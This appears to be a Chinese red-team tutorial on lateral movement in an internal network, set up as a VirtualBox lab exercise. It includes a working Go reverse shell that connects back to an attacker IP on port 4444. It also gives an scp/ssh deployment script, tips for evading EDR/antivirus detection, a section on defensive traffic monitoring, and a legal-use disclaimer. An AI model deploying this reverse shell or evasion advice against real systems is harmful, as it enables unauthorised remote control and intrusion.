0x01 攻击原理揭秘
内网渗透横向移动是高级攻击者在获取初始访问权限后,用以扩展其在网络中控制范围的关键步骤。此阶段的目标是从已妥协的系统移动到其他有价值的系统。攻击者通常利用凭据窃取、会话劫持、漏洞利用等多种技术,逐步渗透达到最终目标。
横向移动基本流程:

- 信息收集:了解内网拓扑结构和潜在的可攻击点。
- 凭据收集:通过工具或漏洞获取管理员凭据。
- 利用漏洞:利用已知的系统漏洞进行渗透。
- 会话劫持:在已登录的会话中插入恶意代码。
- 权限提升:获取目标系统的更高权限。
在这一阶段,我会使用诸如Pass-the-Hash、Pass-the-Ticket、远程服务执行等经典技术来实现横向移动。接下来,我们将详细探讨这些技术的实施方式及其背后的原理。
内网环境搭建指南
要进行内网渗透的实战演练,需要一个合适的测试环境来模拟企业内网结构。这里我们使用VirtualBox和几台虚拟机(VM)来搭建一个简单的内网环境。
准备工作:

- 下载并安装VirtualBox
- 创建以下虚拟机:
- 域控制器(DC):Windows Server 2019,安装AD服务
- 工作站1:Windows 10,加入域
- 工作站2:Windows 10,不加入域
- 攻击者机器:Kali Linux
网络配置:
- 内部网络(Internal Network):所有VM都连接在同一个内部网络中,以模拟公司内网。
- IP配置:
- 域控制器:192.168.56.100
- 工作站1:192.168.56.101
- 工作站2:192.168.56.102
- 攻击者机器:动态分配
完成以上配置后,你将拥有一个基本的内网环境,可以在不影响真实网络的情况下进行渗透测试实验。
Payload构造的艺术
在内网渗透中,成功构造并部署有效的Payload至关重要。下面,我将展示如何使用Go语言编写一个简单的Payload,并通过Shell脚本在目标机器上执行。
Go语言Payload示例
<pre><code class="language-go">// 我们要写一个简单的反向Shell package main
import ( "net" "os/exec" )
func main() { // 连接攻击者机器 conn, err := net.Dial("tcp", "192.168.56.103:4444") if err != nil { return } defer conn.Close()
// 运行Shell,注意这里的cmd是Windows的命令行 cmd := exec.Command("cmd") cmd.Stdout = conn cmd.Stdin = conn cmd.Stderr = conn cmd.Run() }</code></pre>
Shell脚本部署Payload

为了将上述Payload部署到目标机上,我们可以利用如下Shell脚本:

<pre><code class="language-bash">#!/bin/bash
传输并执行Go编译后的可执行文件
这里使用SCP,然后在目标上执行
scp reverseShell.exe [email protected]:/tmp/ ssh [email protected] '/tmp/reverseShell.exe'</code></pre>
注意:实际渗透中,我们需要对Payload进行混淆或加壳,以规避防病毒软件的检测。
绕过与免杀的对抗艺术
绕过EDR/AV检测技巧:
- 混淆代码:通过改变代码结构(如变量名、函数名)来避免简单的签名检测。
- 使用加壳工具:将Payload进行加壳处理,改变其文件特征。
- 内存加载技术:直接在内存中执行Payload,避免落地文件被检测。
- 协议伪装与流量加密:使用HTTPS或自定义协议来加密恶意流量,规避流量监控。
结合上述技术,我们可以有效提升Payload的隐蔽性,确保渗透过程不被中断。
网络流量监控与检测
在横向移动过程中,异常的网络流量通常是检测攻击活动的重要指标。安全团队可以通过以下手段来增强内网流量监控:
流量分析工具:
- Wireshark:用于捕获并分析数据包,可以检测到异常连接。
- Zeek(Bro):强大的网络监控工具,适合检测复杂攻击模式。
- Sysmon:微软提供的系统监控工具,可以记录详细的系统事件。
检测策略:
- 监控SMB流量:攻击者常用SMB协议进行横向移动,监控此类流量可以发现异常活动。
- 检测异常登录:在短时间内多次失败的登录尝试或来自不寻常地点的成功登录。
- 分析DNS请求:攻击者可能使用DNS隧道等技术进行数据泄露。
红队经验谈
在多年的红队攻防对抗中,我深刻体会到内网渗透横向移动的重要性。以下是几条经验之谈:
- 持久性:内网渗透是一个持续的过程,一旦进入内网,尽量保持持久的访问权限。
- 低调行事:尽量避免大流量的数据传输和显眼的系统修改,以免引起怀疑。
- 多样化工具:熟练掌握多种工具,以便在不同环境下都能顺利渗透。
- 不断学习:安全形势不断变化,持续学习新技术、新工具,保持技术优势。
通过实际案例和经验分享,希望你在内网渗透横向移动的道路上少走弯路,掌握真正的攻防技能。记住,本文仅供合法授权的安全测试使用,切勿用于非法目的。